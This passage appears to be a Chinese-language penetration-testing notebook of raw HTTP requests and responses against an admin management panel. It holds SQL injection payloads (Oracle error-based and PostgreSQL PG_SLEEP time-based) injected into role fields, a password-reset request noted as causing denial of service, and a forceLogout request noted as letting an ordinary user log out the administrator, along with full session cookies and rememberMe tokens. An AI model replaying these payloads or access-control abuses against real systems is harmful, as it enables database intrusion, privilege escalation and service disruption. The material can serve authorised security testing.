Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 80
Origin: http://cctv
Connection: keep-alive
Referer: http://cctv/system/role/authDataScope/1
Cookie: rememberMe=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; JSESSIONID=ecdc67a9-d497-41b8-b573-cfd0e8ead853
Priority: u=0

roleId=1&roleName=%E7%AE%A1%E7%90%86%E5%91%98&roleKey=admin&dataScope=1&deptIds=
HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Thu, 16 Apr 2026 11:57:13 GMT
Content-Length: 448

{"msg":"Failed to convert property value of type 'java.lang.String' to required type 'java.lang.Long[]' for property 'deptIds'; nested exception is java.lang.NumberFormatException: For input string: \"'AND1098=(SELECTUPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(113)||CHR(113)||CHR(107)||CHR(113)||(SELECT(CASEWHEN(1098=1098)THEN1ELSE0END)FROMDUAL)||CHR(113)||CHR(106)||CHR(112)||CHR(98)||CHR(113)||CHR(62)))FROMDUAL)AND'RbRc'='RbRc\"","code":500}

存在sql(失败）
POST /system/role/authDataScope HTTP/1.1
Host: cctv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Origin: http://cctv
Connection: keep-alive
Referer: http://cctv/system/role/authDataScope/2
Cookie: JSESSIONID=ecdc67a9-d497-41b8-b573-cfd0e8ead853; rememberMe=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
Priority: u=0

roleId=2&roleName=%E6%99%AE%E9%80%9A%E8%A7%92%E8%89%B2&roleKey=common&dataScope=1*&deptIds=

失败

POST /system/role/authDataScope HTTP/1.1
Content-Length: 159
Host: cctv
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Origin: http://cctv
Referer: http://cctv/system/role/authDataScope/2
Cookie: JSESSIONID=ecdc67a9-d497-41b8-b573-cfd0e8ead853; rememberMe=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
Priority: u=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.14 Safari/605.1.15
Connection: keep-alive

roleId=2&roleName=%E6%99%AE%E9%80%9A%E8%A7%92%E8%89%B2&roleKey=common%20AND%201228%3D%28SELECT%201228%20FROM%20PG_SLEEP%285%29%29--%20IgMx&dataScope=1&deptIds=

重置密码（拒绝服务）

POST /system/user/resetPwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 42
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/system/user/resetPwd/100
Cookie: sidebar:state=true; JSESSIONID=96867924-7444-4680-97b5-cd2c01418747
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

userId=100&loginName=11111&password=123456

管理员权限修改可以触发拒绝服务。

角色管理

POST /system/role/authDataScope HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/system/role/authDataScope/2
Cookie: sidebar:state=true; JSESSIONID=96867924-7444-4680-97b5-cd2c01418747
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

roleId=1&roleName=%E6%99%AE%E9%80%9A%E8%A7%92%E8%89%B2&roleKey=common&dataScope=5&deptIds=

3 菜单管理

POST /system/menu/edit HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/system/menu/edit/1
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=ab8324c7-44ab-4951-bacb-b819f02dca00
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

menuId=1&parentId=0&menuType=M&menuName=%E7%B3%BB%E7%BB%9F%E7%AE%A1%E7%90%86&url=%23&target=menuItem&perms=&orderNum=1&icon=fa+fa-gear&visible=0

岗位管理（sql失败)

POST /system/post/edit HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/system/post/edit/1
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=ab8324c7-44ab-4951-bacb-b819f02dca00
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

postId=1&postName=%E8%91%A3%E4%BA%8B%E9%95%BF&postCode=ceo&postSort=1&status=0&remark=3333
编辑（sql失败）
POST /system/menu/edit HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 152
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/system/menu/edit/1
Cookie: sidebar:state=true; JSESSIONID=a1a8d39d-66d6-4af7-aef4-0efe57b2b99e; rememberMe=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
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

menuId=1&parentId=0&menuType=C&menuName=%E7%B3%BB%E7%BB%9F%E7%AE%A1%E7%90%86&url=%23&target=menuItem&perms=&orderNum=1&icon=fa+fa-file-movie-o&visible=1

4 操作日志

GET /monitor/operlog/detail/111 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://localhost/monitor/operlog
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=a64f5a09-e251-4949-8a00-bfc2675aebdf
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Priority: u=4

0x2 系统监控

1 在线用户

强退（垂直）
POST /monitor/online/forceLogout HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 46
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/monitor/online
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=a64f5a09-e251-4949-8a00-bfc2675aebdf
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

sessionId=a64f5a09-e251-4949-8a00-bfc2675aebdf
普通用户直接无限制下线管理员
​
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 46
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/monitor/online
Cookie: sidebar:state=true; JSESSIONID=50c6c5b6-bf46-4540-801f-d7903e449171
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

sessionId=7c872b10-9724-438a-9ee2-f2be7fcb97b9

​

